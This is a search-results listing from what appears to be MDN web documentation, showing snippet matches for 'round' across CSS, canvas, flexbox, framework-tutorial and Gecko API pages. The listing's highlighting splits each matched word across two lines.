let's say we wanted to draw 100 random circles on a <canvas> element (press the update button to run the example again and again to see different random sets): hidden code <!doctype html> <html> <head> <meta charset="utf-8"> <title>random canvas circles</title> <style> html { width: 100%; height: inherit; backg
round: #ddd; } canvas { display: block; } body { margin: 0; } button { position: absolute; top: 5px; left: 5px; } </style> </head> <body> <button>update</button> <canvas></canvas> <script> const btn = document.queryselector('button'); const canvas = document.queryselector('canvas'); cons...
... inside the loop, we find the square root of each number using math.sqrt(i), then check whether the square root is an integer by testing whether it is the same as itself when it has been
rounded down to the nearest integer (this is what math.floor() does to the number it is passed).
... if the square root and the
rounded down square root do not equal one another (!==), it means that the square root is not an integer, so we are not interested in it.
...And 2 more matches
Object building practice - Learn web development
our little balls will bounce a
round on the screen, and change color when they touch each other.
... some very simple styles, which mainly serve to style and position the <h1>, and get rid of any scrollbars or margin a
round the edge of the page (so that it looks nice and neat).
... modeling a ball in our program our program will feature lots of balls bouncing a
round the screen.
...And 2 more matches
Accessibility in React - Learn web development
you'll see a thick, dashed outline a
round that input.
...press the tab key, and you will see the outline appear a
round the "add" button beneath the input.
...keep going until the focus indicator is a
round the first "edit" button.
...And 2 more matches
Beginning our React todo list - Learn web development
o src/index.css so that it replaces what's currently there: /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible; backg
round: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text"] { ...
... border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 arial, sans-serif; backg
round-color: #f5f5f5; color: #4d4d4d; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ /* global styles */ .form-group > input[type="text"] { display: inline-block; margin-top: 0.4rem; } .btn { padding: 0.8rem 1rem 0.7rem; border: 0.2rem solid #4d4d4d; cursor: pointer; text-transform: capitalize; } .btn.toggle-btn { border-width: 1px; border-color: #d3d3d3; } .btn.toggle-btn[aria-pressed="true"] { text-decoration: underline; border-color: #4d4d4d; } .btn__danger { color: #fff; backg
round-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightgrey; } .
...btn__primary { color: #fff; backg
round-color: #000; } .btn-group { display: flex; justify-content: space-between; } .btn-group > * { flex: 1 1 49%; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top: 0; margin-bottom: 0; } .stack-small > * + * { margin-top: 1.25rem; } .stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-width: 550px) { .stack-small > * + * { margin-top: 1.4rem; } .stack-large > * + * { margin-top: 2.8rem; } } .stack-exception { margin-top:...
...And 2 more matches
Starting our Svelte Todo list app - Learn web development
contents of the file public/global.css with the following: /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible; backg
round: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text"] { ...
... border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 arial, sans-serif; backg
round-color: #f5f5f5; color: #4d4d4d; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ /* global styles */ .form-group > input[type="text"] { display: inline-block; margin-top: 0.4rem; } .btn { padding: 0.8rem 1rem 0.7rem; border: 0.2rem solid #4d4d4d; cursor: pointer; text-transform: capitalize; } .btn.toggle-btn { border-width: 1px; border-color: #d3d3d3; } .btn.toggle-btn[aria-pressed="true"] { text-decoration: underline; border-color: #4d4d4d; } .btn__danger { color: #fff; backg
round-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightgrey; } ...
....btn__primary { color: #fff; backg
round-color: #000; } .btn__primary:disabled { color: darkgrey; backg
round-color:#565656; } .btn-group { display: flex; justify-content: space-between; } .btn-group > * { flex: 1 1 49%; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top: 0; margin-bottom: 0; } .stack-small > * + * { margin-top: 1.25rem; } .stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-width: 550px) { .stack-small > * + * { margin-top: 1.4rem; } .stack-lar...
...And 2 more matches
Command line crash course - Learn web development
the terminal originates from a
round the 1950s-60s and its original form really doesn’t resemble what we use today (for that we should be thankful).
...out of the box, here are just a few of the things the command line can do, along with names of relevant tools in each case: navigate your computer’s file system along with base level tasks such as create, copy, rename and delete: move a
round your directory structure: cd create directories: mkdir create files (and modify their metadata): touch copy files: cp move files: mv delete files or directories: rm download files found at specific urls: curl search for fragments of text inside larger bodies of text: grep view a file's contents page by page: less, cat manipulate and transform streams of text (for example c...
...this usually becomes easier as you get more familiar with the structure of your file system, but if you are not sure of the path you can usually figure it out with a combination of the ls command (see below), and by clicking a
round in your explorer/finder window to see where a directory is, relative to where you currently are.
...And 2 more matches
Debugging on Mac OS X
macos 10.15 went further, requiring applications to be notarized with hardened runtime enabled in order to launch (ignoring worka
rounds.) when run on earlier macos versions, notarization and hardened runtime settings have no effect.
...to worka
round this problem, remove the quarantine extended attribute from the downloaded nightly: $ xattr -r -d com.apple.quarantine /path/to/nightly.app local builds local builds of mozilla-central do not enable hardened runtime and hence do not have debugging restrictions.
...to work a
round that, the steps below have you initialize the project outside the mozilla source tree, close the project, copy the .xcodeproj project "file" into the source tree, and then reopen the project to finish setting it up.
...And 2 more matches
mozbrowserloadend
detail the detail property returns an anonymous javascript object with the following properties: backg
roundcolor a domstring representing the main backg
round color of the browser <iframe> content, expressed as an rgb value.
... can be used to make the theme of the sur
rounding ui complement the theme of the currently loaded content, for example.
...in addition, the backg
round of the controls ui bar is changed to the backg
round color of the site that has just loaded, to provide a more integrated experience.
...And 2 more matches
HTTP Cache
specified, this storage will operate over all existing app caches the service also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in backg
round purgefrommemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open.
... the cache is using a single backg
round thread where any io operations like opening, reading, writing and erasing happen.
... opening priority cache files also file dooming happens here to prevent races read_priority: top level documents and head blocking script cache files are open and read as the first open read: any normal priority content, such as images are open and read here write: writes are processed as last, we cache data in memory in the mean time management: level for the memory pool and cacheentry backg
round operations close: file closing level index: index is being rebuild here evict: files overreaching the disk space consumption limit are being evicted here note: special case for eviction - when an eviction is scheduled on the io thread, all operations pending on the open level are first merged to the open_priority level.
...And 2 more matches
Midas
this command will set the backg
round color of the document.
...if there is a selection, a link will be inserted a
round the selection with the url parameter as the href of the link.
... decreasefontsize this command will add a <small> tag a
round selection or at insertion point.
...And 2 more matches
Index
nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working a
round the access issues.
...nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working a
round the access issues.
...nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working a
round the access issues.
...And 2 more matches
Index
this is no accident, as mozilla:: primitives are merely bare-minimum wrappers a
round nspr's.
...it avoids the backg
round color if it can be discerned and ignores sufficiently transparent colors.
... 318 nsiaccessibletext accessibility, interfaces, interfaces:scriptable, needscontent, xpcom interface reference get the accessible and start/end offsets a
round the given offset.
...And 2 more matches
nsILocalFileMac
obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackg
round); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchinbackg
round); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfrommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplayname astring returns the display name of the application bundle (usua...
...void launchwithdoc( in nsilocalfile adoctoload, in boolean alaunchinbackg
round ); parameters adoctoload must not be null.
...alaunchinbackg
round true if the application should not come to the front.
...And 2 more matches
nsISyncJPAKE
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void final(in acstring ab, in acstring agvb, in acstring arb, in acstring ahkdfinfo, out acstring aaes256key, out acstring ahmac256key); void
round1(in acstring asignerid, out acstring agx1, out acstring agv1, out acstring ar1, out acstring agx2, out acstring agv2, out acstring ar2); void
round2(in acstring apeerid, in acstring apin, in acstring agx3, in acstring agv3, in acstring ar3, in acstring agx4, in acstring agv4, in acstring ar4, out acstring aa, out acstring agva, out acstring ara); methods final() perform the final step of the...
...
round1() perform first
round of the jpake exchange.
... void
round1( in acstring asignerid, out acstring agx1, out acstring agv1, out acstring ar1, out acstring agx2, out acstring agv2, out acstring ar2 ); parameters asignerid string identifying the signer.
...And 2 more matches
WebIDL bindings
also, unless stated otherwise, nullable types are represented by wrapping nullable<> a
round the base type.
... in all cases, optional arguments which do not have a default value are represented by wrapping const optional<>& a
round the representation of the argument type.
... if the argument type is a c++ reference, it will also become a nonnull<> a
round the actual type of the object in the process.
...And 2 more matches
CSS Painting API - Web APIs
the css painting api — part of the css houdini umbrella of apis — allows developers to write javascript functions that can draw directly into an element's backg
round, border, or content.
...you can then apply these values to properties like backg
round-image to set complex custom backg
rounds on an element.
... for example: aside { backg
round-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
...And 2 more matches
CanvasRenderingContext2D - Web APIs
possible values: butt (default),
round, square.
...possible values:
round, bevel, miter (default).
... fill and stroke styles fill styling is used for colors and styles inside shapes and stroke styling is used for the lines a
round shapes.
...And 2 more matches
Drawing shapes with canvas - Web APIs
<html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d');
roundedrect(ctx, 12, 12, 150, 150, 15);
roundedrect(ctx, 19, 19, 150, 150, 9);
roundedrect(ctx, 53, 53, 49, 33, 10);
roundedrect(ctx, 53, 119, 49, 16, 6);
roundedrect(ctx, 135, 53, 49, 33, 10);
roundedrect(ctx, 135, 119, 25, 49, 10); ctx.beginpath(); ctx.arc(37, 37, 13, math.pi / 7, -math.pi / 7, false); ctx.lineto(31, 37); ctx.fill(); for (var i = 0; i < 8; i+...
... 103, 100, 106, 103, 106); ctx.beziercurveto(106, 106, 107, 103, 107, 101); ctx.beziercurveto(107, 99, 106, 96, 103, 96); ctx.fill(); ctx.fillstyle = 'black'; ctx.beginpath(); ctx.arc(101, 102, 2, 0, math.pi * 2, true); ctx.fill(); ctx.beginpath(); ctx.arc(89, 102, 2, 0, math.pi * 2, true); ctx.fill(); } } // a utility function to draw a rectangle with
rounded corners.
... function
roundedrect(ctx, x, y, width, height, radius) { ctx.beginpath(); ctx.moveto(x, y + radius); ctx.lineto(x, y + height - radius); ctx.arcto(x, y + height, x + radius, y + height, radius); ctx.lineto(x + width - radius, y + height); ctx.arcto(x + width, y + height, x + width, y + height-radius, radius); ctx.lineto(x + width, y + radius); ctx.arcto(x + width, y, x + width - radius, y, radius); ctx.lineto(x + radius, y); ctx.arcto(x, y, x, y + radius, radius); ctx.stroke(); } the resulting image looks like this: screenshotlive sample we won't go over this in detail, since it's actually surprisingly simple.
...And 2 more matches
Optimizing canvas - Web APIs
to avoid this, make sure to
round all co-ordinates used in calls to drawimage() using math.floor(), for example.
... for example, let's say you have a game with a ui on top, the gameplay action in the middle, and a static backg
round on the bottom.
...the ui would change only upon user input, the gameplay layer would change with every new frame, and the backg
round would remain generally unchanged.
...And 2 more matches
Examples of web and XML development using the DOM - Web APIs
var ss = document.stylesheets; for(var i = 0; i < ss.length; i++) { for(var j = 0; j < ss[i].cssrules.length; j++) { dump( ss[i].cssrules[j].selectortext + "\n" ); } } for a document with a single stylesheet in which the following three rules are defined: body { backg
round-color: darkblue; } p { font-face: arial; font-size: 10pt; margin-left: .125in; } #lumpy { display: none; } this script outputs the following: body p #lumpy example 5: event propagation this example demonstrates how events fire and are handled in the dom in a very simple way.
... <!doctype html> <html lang="en"> <head> <title>event propagation</title> <style> #t-daddy { border: 1px solid red } #c1 { backg
round-color: pink; } </style> <script> function stopevent(ev) { c2 = document.getelementbyid("c2"); c2.innerhtml = "hello"; // this ought to keep t-daddy from getting the click.
...oad="load();"> <table id="t-daddy" onclick="alert('hi');"> <tr id="tbl1"> <td id="c1">one</td> </tr> <tr> <td id="c2">two</td> </tr> </table> </body> </html> example 6: getcomputedstyle this example demonstrates how the window.getcomputedstyle method can be used to get the styles of an element that are not set using the style attribute or with javascript (e.g., elt.style.backg
roundcolor="rgb(173, 216, 230)").
...And 2 more matches
Service Worker API - Web APIs
they will also allow access to push notifications and backg
round sync apis.
... if there is an existing service worker available, the new version is installed in the backg
round, but not yet activated — at this point it is called the worker in waiting.
... other use case ideas service workers are also intended to be used for such things as: backg
round data synchronization.
...And 2 more matches
Rendering and the WebXR frame animation callback - Web APIs
so if the center of the viewer's head is located at [0.0, 2.0, 0.0] (about two meters above g
round level at the center of the space horizontally), we first need to render the scene from, say, [-0.032, 2.0, 0.0] (32mm to the left of center) and then render it again at [0.032, 2.0, 0.0].
...by combining that inferred depth information with other cues such as perspective, shadows, memories of what these relationships mean, and so forth, we can figure out a great deal about the world a
round us.
...the backg
round color is set to fully opaque black using gl.clearcolor(); the clear depth is set to 1.0 by calling gl.cleardepth(), in order to clear all pixels regardless of how far away the object they're part of is; and finally, the frame's pixel and depth buffers are both erased by calling gl.clear(), passing in a bit mask in which both color_buffer_bit and depth_buffer_bit are set.
...And 2 more matches
Accessibility and Spacial Patterns - Accessibility
symbols which have the same luminance as their backg
round are perceptually less securely located in space and time than are symbols with higher luminance contrast.
...the phenomenon seems to be especially problematic for symbol/backg
round combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation.
... for example, blue text on a gray backg
round is easier to perceive if it is sur
rounded "locally" by black than by white.
...And 2 more matches
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
css determines the size, position, and properties (color, backg
round, border size, etc.) of these boxes.
...it often has a backg
round color or backg
round image.
...when there is a backg
round (backg
round-color or backg
round-image) set on a box, it extends to the outer edge of the border (i.e.
...And 2 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
try this in the live example — i have given the flex container a height in order that you can see how the items can be moved a
round inside the container.
...to cause an equal amount of space on the right and left of each item use the value space-a
round.
... with space-a
round, items have a half-size space on either end.
...And 2 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this article provides a set of mixins for those who want to mess a
round with flexbox using the native support of current browsers.
...rome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playg
round | note: mixins are not currently supported natively in browsers.
... values: flex-start (default) | flex-end | center | space-between | space-a
round spec: https://drafts.csswg.org/css-flexbox/#justify-content-property @mixin justify-content($value: flex-start) { @if $value == flex-start { -webkit-box-pack: start; -moz-box-pack: start; -ms-flex-pack: start; } @else if $value == flex-end { -webkit-box-pack: end; -moz-box-pack: end; -ms-flex-pack: end; } @else if $value == space-between { -webkit-box-pack: j...
...And 2 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
, i have 5 flex items, and assign order values as follows: source item 1: order: 2 source item 2: order: 3 source item 3: order: 1 source item 4: order: 3 source item 5: order: 1 these items would be displayed on the page in the following order: source item 3: order: 1 source item 5: order: 1 source item 1: order: 2 source item 2: order: 3 source item 4: order: 3 you can play a
round with the values in this live example below and see how that changes the order.
...therefore if a user is tabbing between the items, they could find themselves jumping a
round your layout in a very confusing way.
... by tabbing a
round any of the live examples on this page, you can see how order is potentially creating a strange experience for anyone not using a pointing device of some kind.
...And 2 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
we either display the space outside of the items — therefore spacing them out with white space between or a
round them — or we absorb the extra space inside the items and therefore need a method of allowing the items to grow and take up this space.
... space distributed outside the items to distribute the space between or a
round the items we use the alignment properties in flexbox, and the justify-content property.
...you can change how the space is distributed using the space-a
round value, or where supported, space-evenly.
...And 2 more matches
In Flow and Out of Flow - CSS: Cascading Style Sheets
i’ve added a backg
round colour to the paragraphs, and then floated the div left.
... you can see the backg
round colour of the following paragraph running underneath, it is only the line boxes of that paragraph that have been shortened to cause the effect of wrapping content a
round the float.
...this is why, to make space a
round a floated item, you must add a margin to the item, in order to push the line boxes away from it.
...And 2 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
the float no longer applies, and i can use the css box alignment property align-self to align my content to the end of the container: * {box-sizing: border-box;} img { max-width: 100%; display: block; } .media { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; max-width: 400px; display: grid; grid-template-columns: 1fr 2fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media::after { content: ""; display: block; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <div cla...
...to create gaps between the cards, i use a margin on the items, and then a negative margin on the container: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10px; } ...
...the layout now works, even if there is more content in one of the cards, than the others: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10px; } ...
...And 2 more matches
Shapes From Images - CSS: Cascading Style Sheets
the content now wraps a
round the star shape.
... i can use shape-margin to move the text away from the shape, giving a margin a
round the created shape and the text.
... in the example below i am using a similar image to the initial example, however in this image the backg
round of the star is not fully transparent, it has a 20% opacity as created in my graphics programme.
...And 2 more matches
CSS values and units - CSS: Cascading Style Sheets
for example, if you wanted to include a backg
round image, you might use either of the following.
... .box { backg
round-image: url("images/my-backg
round.png"); } .box { backg
round-image: url("https://www.exammple.com/images/my-backg
round.png"); } the parameter for url() can be either quoted or unquoted.
...it's backg
round color), and is defined in the css color module.
...And 2 more matches
Layout and the containing block - CSS: Cascading Style Sheets
<body> <section> <p>this is a paragraph!</p> </section> </body> body { backg
round: beige; } section { display: block; width: 400px; height: 160px; backg
round: lightgray; } p { width: 50%; /* == 400px * .5 = 200px */ height: 25%; /* == 160px * .25 = 40px */ margin: 5%; /* == 400px * .05 = 20px */ padding: 5%; /* == 400px * .05 = 20px */ backg
round: cyan; } example 2 in this example, the paragraph's containing block is the <body> element, because <...
... <body> <section> <p>this is a paragraph!</p> </section> </body> body { backg
round: beige; } section { display: inline; backg
round: lightgray; } p { width: 50%; /* == half the body's width */ height: 200px; /* note: a percentage would be 0 */ backg
round: cyan; } example 3 in this example, the paragraph's containing block is <section> because the latter's position is absolute.
... <body> <section> <p>this is a paragraph!</p> </section> </body> body { backg
round: beige; } section { position: absolute; left: 30px; top: 30px; width: 400px; height: 160px; padding: 30px 20px; backg
round: lightgray; } p { position: absolute; width: 50%; /* == (400px + 20px + 20px) * .5 = 220px */ height: 25%; /* == (160px + 30px + 30px) * .25 = 55px */ margin: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ padding: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ backg
round: cyan; } example 4 in this example, the paragraph's position is fixed, so its containing ...
...And 2 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
a -webkit-animation-trigger -webkit-app-region -webkit-appearance* -webkit-aspect-ratio b -webkit-backdrop-filter -webkit-backg
round-composite -webkit-border-after** -webkit-border-after-color** -webkit-border-after-style** -webkit-border-after-width** -webkit-border-before** -webkit-border-before-color** -webkit-border-before-style** -webkit-border-before-width** -webkit-border-end** -webkit-border-end-color** -webkit-border-end-style** -webkit-border-end-width** -webkit-border-fit -webkit-border-horizontal-spac...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function b -webkit-backface-visibility -webkit-backg
round-clip -webkit-backg
round-origin -webkit-backg
round-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-border-top-left-radius -webkit-border-top-right-radius -webkit-box-decoration-break -webkit-box-shadow -webkit-box-sizing c -webkit-clip-path -webkit-column-count -webkit-column-fill -webkit-column-gap -w...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function -webkit-appearance* b -webkit-backface-visibility -webkit-backg
round-clip -webkit-backg
round-origin -webkit-backg
round-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-box-align**, *** -webkit-box-direction**, *** -webkit-box-flex**, *** -webkit-box-orient**, *** -webkit-box-pack**, *** -webkit-box-shadow -webkit-box-sizing -webkit-border-top-left-radius -webkit-border-top-r...
...And 2 more matches
all - CSS: Cascading Style Sheets
css body { font-size: small; backg
round-color: #f0f0f0; color: blue; } blockquote { backg
round-color: skyblue; color: red; } result no all property <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis.
... body { font-size: small; backg
round-color: #f0f0f0; color:blue; } blockquote { backg
round-color: skyblue; color: red; } the <blockquote> uses the browser's default styling together with a specific backg
round and text color.
... body { font-size: small; backg
round-color: #f0f0f0; color:blue; } blockquote { backg
round-color: skyblue; color: red; } blockquote { all: unset; } the <blockquote> doesn't use the browser default styling: it is an inline element now (initial value), its backg
round-color is transparent (initial value), but its font-size is still small (inherited value) and its color is blue (inherited value).
...And 2 more matches
border-style - CSS: Cascading Style Sheets
unless a backg
round-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
...unless a backg
round-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
... dotted displays a series of
rounded dots.
...And 2 more matches
box-shadow - CSS: Cascading Style Sheets
the box-shadow css property adds shadow effects a
round an element's frame.
...if a border-radius is specified on the element with a box shadow, the box shadow takes on the same
rounded corners.
...inset shadows are drawn inside the border (even transparent ones), above the backg
round, but below content.
...And 2 more matches
<gradient> - CSS: Cascading Style Sheets
conic gradient conic gradients transition colors progressively a
round a circle.
... <div class="linear-gradient">linear gradient</div> div { width: 240px; height: 80px; } .linear-gradient { backg
round: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); } radial gradient example a simple radial gradient.
... <div class="radial-gradient">radial gradient</div> div { width: 240px; height: 80px; } .radial-gradient { backg
round: radial-gradient(red, yellow, rgb(30, 144, 255)); } repeating gradient examples simple repeating linear and radial gradient examples.
...And 2 more matches
mask-border-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-repeat: stretch; mask-border-repeat: repeat; mask-border-repeat:
round; mask-border-repeat: space; /* vertical | horizontal */ mask-border-repeat:
round stretch; /* global values */ mask-border-repeat: inherit; mask-border-repeat: initial; mask-border-repeat: unset; the mask-border-repeat property may be specified using one or two values chosen from the list of values below.
...
round the source image's edge regions are tiled (repeated) to fill the gap between each border.
... formal definition initial valuestretchapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat |
round | space ]{1,2} examples basic usage this property doesn't appear to be supported anywhere yet.
...And 2 more matches
mask-repeat - CSS: Cascading Style Sheets
/* one-value syntax */ mask-repeat: repeat-x; mask-repeat: repeat-y; mask-repeat: repeat; mask-repeat: space; mask-repeat:
round; mask-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ mask-repeat: repeat space; mask-repeat: repeat repeat; mask-repeat:
round space; mask-repeat: no-repeat
round; /* multiple values */ mask-repeat: space
round, no-repeat; mask-repeat:
round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using
round) or evenly ...
... values <repeat-style> the one-value syntax is a shorthand for the full two-value syntax: single value two-value equivalent repeat-x repeat no-repeat repeat-y no-repeat repeat repeat repeat repeat space space space
round round round no-repeat no-repeat no-repeat in the two-value syntax, the first value represents the horizontal repetition behavior and the second value represents the vertical behavior.
...
round as the allowed space increases in size, the repeated images will stretch (leaving no gaps) until there is room for another one to be added.
...And 2 more matches
place-content - CSS: Cascading Style Sheets
e-content: start center; place-content: end left; place-content: flex-start center; place-content: flex-end center; /* baseline alignment */ /* justify-content does not take baseline values */ place-content: baseline center; place-content: first baseline space-evenly; place-content: last baseline right; /* distributed alignment */ place-content: space-between space-evenly; place-content: space-a
round space-evenly; place-content: space-evenly stretch; place-content: stretch space-evenly; /* global values */ place-content: inherit; place-content: initial; place-content: unset; the first value is the align-content property value, the second the justify-content one.
... space-a
round the items are evenly distributed within the alignment container.
...ption value="rtl">rtl</option> </select><code>;</code><br/> <code>place-content:</code><select id="aligncontentalignment"> <option value="normal">normal</option> <option value="first baseline">first baseline</option> <option value="last baseline">last baseline</option> <option value="baseline">baseline</option> <option value="space-between">space-between</option> <option value="space-a
round">space-a
round</option> <option value="space-evenly" selected>space-evenly</option> <option value="stretch">stretch</option> <option value="center">center</option> <option value="start">start</option> <option value="end">end</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> <option value="safe">safe</option> <option value="unsafe">...
...And 2 more matches
<position> - CSS: Cascading Style Sheets
it is used in the backg
round-position and offset-anchor properties.
...| [ [ left | right ] [ <length> | <percentage> ] ] && [ [ top | bottom ] [ <length> | <percentage> ] ] ] note: the backg
round-position property also accepts a three-value syntax.
... candidate recommendation relists links to both definitions: if css backg
rounds and borders module level 3 is supported, its definition of <position> must also be used.
...And 2 more matches
Adding captions and subtitles to HTML5 video - Developer guides
no image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666; backg
round:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascript implementation, but these will be mentioned at the appropriate place below.
... subtitle implementation a lot of what we do to access the video subtitles revolves a
round javascript.
...'none' : 'block'); } }); subtitle menu css we also added some rudimentary styling for the newly created subtitles menu: .subtitles-menu { display:none; position:absolute; bottom:14.8%; right:20px; backg
round:#666; list-style-type:none; margin:0; padding:0; width:100px; padding:10px; } .subtitles-menu li { padding:0; text-align:center; } .subtitles-menu li button { border:none; backg
round:#000; color:#fff; cursor:pointer; width:90%; padding:2px 5px; border-radius:2px; } styling the displayed subtitles one of the less well known about and supp...
...And 2 more matches
Performance fundamentals - Web Performance
when applications are sent to the backg
round, a visibilitychange event is fired on their documents.
...applications that drop as many loaded resources as possible when sent to the backg
round use less memory and are less likely discarded, in the case of firefox os (see the note below).
...another benefit to this api is that animations won't run while your app isn't visible on the screen (such as if it's in the backg
round and some other task is operating).
...And 2 more matches
Paths - SVG: Scalable Vector Graphics
in the first one, the x-axis-rotation has been left at 0, so the ellipse that the arc travels a
round (shown in gray) is oriented straight up and down.
...as mentioned earlier, there are still two possible ellipses for the path to travel a
round and two different possible paths on both ellipses, giving four possible paths.
...it simply determines if the arc should be greater than or less than 180 degrees; in the end, this flag determines which direction the arc will travel a
round a given circle.
...And 2 more matches
tabs - Archive of obsolete content
tabs.open({ url: "http://www.mysite.com", innewwindow: true }); // open a new tab on active window in the backg
round.
... tabs.open({ url: "http://www.mysite.com", inbackg
round: true }); // open a new tab as an app tab and do something once it's open.
... inbackg
round boolean if present and true, the new tab will be opened to the right of the active tab and will not be active.
... activate() makes this tab active, which will bring this tab to the foreg
round.
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
